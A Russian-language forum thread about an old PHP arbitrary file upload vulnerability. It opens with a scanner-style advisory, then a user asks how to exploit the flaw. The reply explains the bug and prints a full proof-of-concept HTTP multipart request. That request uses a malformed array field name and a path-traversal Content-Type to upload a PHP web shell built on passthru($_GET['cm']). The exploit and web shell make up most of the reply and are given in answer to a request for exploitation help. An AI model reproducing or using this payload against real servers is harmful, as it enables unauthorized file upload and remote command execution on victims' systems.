PHP unspecified remote arbitrary file upload vulnerability
An unspecified remote arbitrary file upload vulnerability has been reported for this version of PHP.
Affected PHP versions (up to 4.3.8/5.0.1).
This vulnerability affects PHP.
The impact of this vulnerability
Upload arbitrary files.
Может кто-нить обьяснить как пользоваться этой уязвимостью или кинуть сылку на FAQ или видео?
Уязвимость довольно старая, но опасная, если тебе удалось найти уязвимое веб-приложений (предположу, что сведения об этой баге ты получил от Acunetix Web Vulnerability Scanner)
PoC для этой уязвимости:
http://www.securityfocus.com/archive/1/376865
Бага заключается в том, что при специально составленном HTTP-запросе существует возможность обхода проверки интерпретатором PHP имени загружаемого файла, что может привести к загрузке файлов с произвольными именами в любые директории (естественно, если хватает прав). Подробного описания причин уязвимости автор не дает, известно лишь, что она возможна ввиду ошибок обработки массивов в самом интерпретаторе.
POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
Gecko/20040115 Galeon/1.3.12
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai
n;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Content-Type: multipart/form-data;
boundary=---------------------------1648318426118446961720965026
Content-Length: 395
-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[name]123";
filename="p.php"
Content-Type: ../html/passt.php
<?
passthru($_GET['cm']);
?>
-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
Content-Type: application/octet-stream
<?
passthru($_GET['cm']);
?>
В PoC необходимо обратить внимание на name="user[file[type]123"; и Content-Type: ../html/passt.php, что собственно и эксплуатирует уязвимость, заставляя PHP принять файл с именем passt.php вместо p.php.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot